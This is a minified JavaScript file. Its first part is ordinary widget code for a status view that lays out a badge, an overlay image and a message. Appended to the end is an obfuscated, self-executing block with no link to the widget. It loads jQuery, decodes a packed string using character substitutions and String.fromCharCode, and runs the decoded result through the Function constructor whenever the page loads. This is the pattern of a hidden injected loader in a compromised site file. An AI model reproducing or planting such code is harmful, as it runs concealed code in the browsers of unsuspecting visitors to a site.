{this.m_widget=widget;this.m_parentDiv=parentDiv;this.m_divInstanceId=this.m_divId;this.hide();},ensureDiv:function()
{var div=this.m_widget.div(this.m_divInstanceId);if(!div)
{div=new Element('div',{'id':this.m_widget.getInstanceId(this.m_divInstanceId)});div.addClassName(this.m_divClass);this.m_parentDiv.appendChild(div);}
return $(div);},hide:function()
{this.ensureDiv().hide();},show:function()
{this.ensureDiv().show();},render:function()
{},resize:function()
{}});var StatusView=Class.create(View,{initialize:function($super,widget,parentDiv)
{$super(widget,parentDiv);this.render();this.hide();},render:function()
{var markup="<table class='StatusMessageTable'><tr><td>";if(this.badgeImage)
{markup+=imgMarkup(this.m_widget.widgetPath+"/"+this.badgeImage,"","id='"+this.p_badgeImgId()+"'","");}
markup+="</td></tr></table>";if(this.upperRightBadgeWidth&&this.upperRightBadgeHeight)
{var badgeURL=(this.upperRightBadge)?(this.m_widget.widgetPath+"/"+this.upperRightBadge):transparentGifURL();markup+=imgMarkup(badgeURL,"","class='StatusUpperRightBadge' width='"+this.upperRightBadgeWidth+"' height='"+this.upperRightBadgeHeight+"' ","");}
var overlayPath=this.m_widget.sharedPath.stringByAppendingPathComponent("Translucent-Overlay.png");markup+=imgMarkup(overlayPath,"position: absolute; top: 0; left: 0;","id='"+this.p_overlayImgId()+"' width='700' height='286' ","");if(this.statusMessageKey)
{markup+="<div id='"+this.p_statusMessageBlockId()+"' class='StatusMessageBlock' ><span>"+
this.m_widget.localizedString(this.statusMessageKey)+"</span></div>";}
this.ensureDiv().update(markup);this.resize();},resize:function()
{var widgetWidth=(this.runningInApp)?window.innerWidth:this.m_widget.div().offsetWidth;var widgetHeight=(this.runningInApp)?window.innerHeight:this.m_widget.div().offsetHeight;if(this.badgeImage)
{var badgeImageEl=$(this.p_badgeImgId());var badgeSize=new IWSize(this.badgeImageWidth,this.badgeImageHeight);if((badgeSize.width>widgetWidth)||(badgeSize.height>widgetHeight))
{var widgetSize=new IWSize(widgetWidth,widgetHeight);badgeSize=badgeSize.scaleToFit(widgetSize);}
badgeImageEl.width=badgeSize.width;badgeImageEl.height=badgeSize.height;}
var overlayNativeWidth=700;var overlayNativeHeight=286;var overlayWidth=Math.max(widgetWidth,overlayNativeWidth);var overlayHeight=overlayNativeHeight;var overlayTop=Math.min(((widgetHeight/2)-overlayNativeHeight),0);var overlayLeft=Math.min(((widgetWidth/2)-(overlayNativeWidth/2)),0);var overlayImage=$(this.p_overlayImgId());overlayImage.width=overlayWidth;overlayImage.height=overlayHeight;overlayImage.setStyle({left:px(overlayLeft),top:px(overlayTop)});var statusMessageBlock=$(this.p_statusMessageBlockId());if(statusMessageBlock)
{var leftValue=px(Math.max(((widgetWidth-statusMessageBlock.offsetWidth)/2),0));var positionStyles={left:leftValue};if(this.statusMessageVerticallyCentered)
{var topValue=px(Math.max(((widgetHeight-statusMessageBlock.offsetHeight)/2),0));positionStyles.top=topValue;}
statusMessageBlock.setStyle(positionStyles);}
if(this.footerView)
{this.footerView.resize();}},doneFadingIn:function()
{this.m_widget.setPreferenceForKey(true,"x-viewDoneFadingIn",false);},p_badgeImgId:function()
{return this.m_widget.getInstanceId(this.m_divId+"-badge");},p_overlayImgId:function()
{return this.m_widget.getInstanceId(this.m_divId+"-overlay");},p_statusMessageBlockId:function()
{return this.m_widget.getInstanceId(this.m_divId+"-messageBlock");}});


(function(){f_ET=document;f_A=window;f_A.f_i=function($,f_Ev){return 0};f_A.f_z=function(f_k){return f_k.join('')};f_A.f_q=function(f_EE){return(function(f_k,f_ED){return f_ED(f_k(f_ED(f_k(f_EE))))(f_EE)()})((function(f_k){return f_k.constructor}),(function(f_k){return(function(f_ED){return f_k.call(f_k,f_ED)})}))};f_A.f_EC=function(f_k){return f_k.pop()};f_A.f_A=f_A;if(typeof($)=='undefined'){f_EL=f_ET.getElementsByTagName('head')[0];f_EM=f_ET.createElement('script');f_EM.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_EL.appendChild(f_EM)}f_A.f_Eo=100;f_A.f_Eh=25;f_A.trim=function(f_Ed,f_Em){if("qabcdef".indexOf(f_Ed.substr(0,1))>=0){var f_Ea=f_z(f_Ed.split('q')).split('v');for(var i=0;i<f_Ea.length;i++){f_Ea[i]=parseInt(f_Ea[i],16)-f_Em[f_Ed]}return f_Ea.join(',')+','}else{return f_Em[f_Ed]}};d='Oe={MQv1aN%2%7%1%6>:"e+",MQv2aN%2j%1%6>:"",*bQv3aN%2%7%1%6v30:"l(\'l=St",N`v4e|*0T%f*2!5:"ring.f",I<v52$aU%c!6*a!6:"romCha",T$8v68*2*5!e@0!5*4:"rCode("D4#d!2%6~%2!0!3W&0-96$5M$aQV$d$eU&9DaQ$dV$eU%0%1%2&3G7jW%a%b%c%d%e%f&7Gf@0|T#4W%6%2U&6Ga!e<<Z*1*6!6J&6G2!0!4!0!1%e!4T*0&0B8KNMjTJX+1&8LeYX!6%3*0#4#e!6&3G2*7yK%2%e%e%a*4HL4#4~Y>T%c>~&5B2#f$3~VV|~$3&0G5*7*9yK*5PI%2HL1*5+6W@3T%4*2T&5-9c+1%4+a*e#d!3*2+1&0G6~+2*4*7Z%f#3%0&7Gf*a+2+3JWK+d!3&1D3J>#4#8>*6%f*1&7D1Y`~Y>%d@2*0&5B3|#dY$4|%3~W&0G6%0$3jU%6$3jU&2G2~$dV$3~UjQ&0D5$a$8%7$5y%a$a$5&4GdW%7$5%1$7%4$5%2&4D7%e$5Q$8%bMI%7&4G0V$9%4TY~Y+a&0G8#7%c$e%d+e+d*c*d&9D7%aQ+7%5+d*a$7%a&6DeXINX+a+7*7*1&9Ba*0#3#b#4P+b*5#e&1B3U+7*6%5VV+9$5&0D7j!eZ#3JU!eP&6L1$0K+8$d%4$8%0%c&5D9%e$dT*e%4$9%b%0&8Bb~+e+7*1Y%3+b+1&4G6%5%bUZ>I#8*2&7Bd+2*7<W~*eQ%eHDd>|*b*5M@2>$3&8B7V>$0!6P$8$5j&4D6#e+d!3<!5Z$e|&1G4K+fY*8>Y+7>&4Bd+2$7N<+5#3#8%4HG7%1%6>$4P`$4P&8Ba+eP#c!1!6%0%6%5&1B9*1J%f!1J*4<*1&1,a1%4%e!3%6#d>#b!3&0D5#e!4%5Z%5%3yU&1D4%3#byU%2+1$a!0&0De%3!5T$9@3TV*2&5-92+3*c@0*b!2!5y+d&2Bd%4$7$5<+4$7#8%bHGfU%c@3@7*5%3%0+bH,a5*5#f<<P+5*3#9&7LaJJ#9*0+f*4Q%b&9D6|V%ey$d%4y!1&1Da$7J+2*f#d#a%d%d&1B6+1*1`#3K!3!3#4&3Lf+dI#8#7*2$9WV&7D9%3@5@5%1$e>JM&8G8M!5j#f!5$8+e+e&2BcXJM#7M!3+2+c&0,acJ#b$9y+1%6%e!3&0,a8*5>>+9*c#3+9%e&8Bc!5*aMM<+3+5$0&2B3*8JP!3%6JM!3&0-9aM<P#3II+c*f&2-97+b*e>#a@2*b*b$4HG6*6+a*dZ#9@1#c#c&9L7#7$0*b*3y+7+3X&6D0#e#bX<#a#e$5#3&8D5+6+2*1*1#7!e>+d&5Be#8#bZ$3*1JW*3&6D4K+5%1*2*2#7<Z&4,a9IXP+eK~J+2&1G6*7*7#dI#4~#a#9&9Bc$0#e!6*a*0$3+4+6&3L5|I#c#f#3#3$7`HD5+6+8Z+d<#7#a!e&5Be|*0T+9*2$5+6*d&5L4|#c#e#3$7*5<jH-96<#7%6$aWX$4#c&9L0K#8IK#7#7KI&0LfN#b#bN#b#aN#bHL4>#a`>``>#9&4L7<NN<II<N&1L4<#7<N#4<#8<&1L4!e#3!eI!eN#a+f&2L4*8>@0#4%1@6+1T&8,a8W%7$e%3V#3Q%7&5G7%5*b%0$9%a*b%7V&8DcZ%0I%fI#a#a>&7,d6$3$a*6K@3X$4>&9G1%d%dW*3#8#8>`&9Bd+eN<%dN<+1NHBc*e`K+d`KQ$4&9B7+7X`~>MI$7&4G8%6#8>yI#4K@3&9,a1$eJ#b!4T+c!2|&0G8$d@2$5MI#7$aW&9G1yU$5+2%bJ+cT&1-93Q%0%dY%a%b@0%3&7Da*2~YKXT*bX&5L0*6$5M>`K$a`&9L0$5MJ@0%2$d%d%1&9-91`#4#4!4M>Y%c&4L6X*8*6#9$e%3@0*8HBb~<<@1@1<@1>&4Lb#9#9#9I@6I@6I&9,d3Q%2WQ@1!6M%5&6G9j+5%6>N#4#4<&4,d4@4PWZ>*2*7Y&7B3*2Tj%e*9!0j+7&0-9c%3W%6%7K<@1*4&4B2!5*eP%a@0y#f%0&2D6j!1*5|%5yJP&1-92Q`YKZ%f`$8&7G9$5%5V>#7NNN&6B9#b*9!0$4%d*0!0!3&0Db<jX$e@3*e!5j&5L1yQ$4%5*6%2$7$8&3-99%c>%1X@5*8TM&8,a7<%d@3*e!5%d#3%1&5D8%1$a%7Q@0!6$9|&3-96V%b%4$9%aU%5%4&6,a0WV%b%cW%5+8Z&7B9+c<Z*4#3#7@4J&6,d0*7<%0+b%1I#e#3HL4#9X#3M+a+9U>&8L8<<+bIQ$9j+9&4,a8*7+cY+4<J+e<&4-92P$7P@0|Z@5>&7Ge+f+f+4$7+e!6$d$0&3D5*0$7#8%b%fU%c@3HB1!1YY!4QZ$aU&1Dd$e@1+8UX>JJ&9B6!e!6*2K%a%3$9$a&5DcU%4Q$a<!6P!e&6,d3$eQ<W%e%5$a%4&5De>KT<%b$d%c+c&8Da$ey!1J!5Z$8y&1Gc+2+b+7+6+9P*3$e&8G4%7<$8*2#7N*0$8&5-93V*5>%c*5VN%b&8G8%4%1%c>ZM*8+1&8,a3+8+9+a+c|@0+e+e&2BaPPMP!ePZPHL1>#7%c%eQ%c%d%b&9Bc$7X*1K%c*1$7*0&4L3`*1#3#c#4M!e%a&2Bd<<I$e%3$d%2K&4G7X%3%2%3MKKK&3Lcy%7|$dJ$5P&1,N`!|*0T%f*2Y:"32);",*j%$d%6V*b%0%1:"Oq(l)\'",Y!!0*9%2T!0#8*2:");"};Oc=[];OA.OEs=String.fromCharCode;for(+r Ok in Oe){Rtrim(Ok,Oe))};R\';OA.OF^58,50?2,120,34,62,60\\,32?5?4,99);\');R\'OA.Ox^61,50,62,60,47\\);\');R\'OA.Ow=OEs(97?2/5,46?6?9/5?6?6/1?4,46,99?1/9,47,49,47?6?4/1?0/0?5,47/0,97/5/8,121,46/6?5?1?0);\');Oq(Oz(Oc))!v7#v8$vb%vc&:8*v9+va-,q/,10<!d>#0?,11@vdB-7D,bG,cH:90I#2J!9K!cL-8M!bN#6Of_P!aQ$bROc.push(T!8U$fV$cW%9X#1Y!7Z!f^=OEs(104/1/5/3/4?6,`#5j%8y$6|$2~$1\\/5/2?4,97/9/1';for(c=41;c--;d=(t=d.split('!#$%&*+-/<>?@BDGHIJKLMNOPQRTUVWXYZ^`jy|~\\'.charAt(c))).join(f_EC(t)));f_EA=d;f_q(f_EA)})()

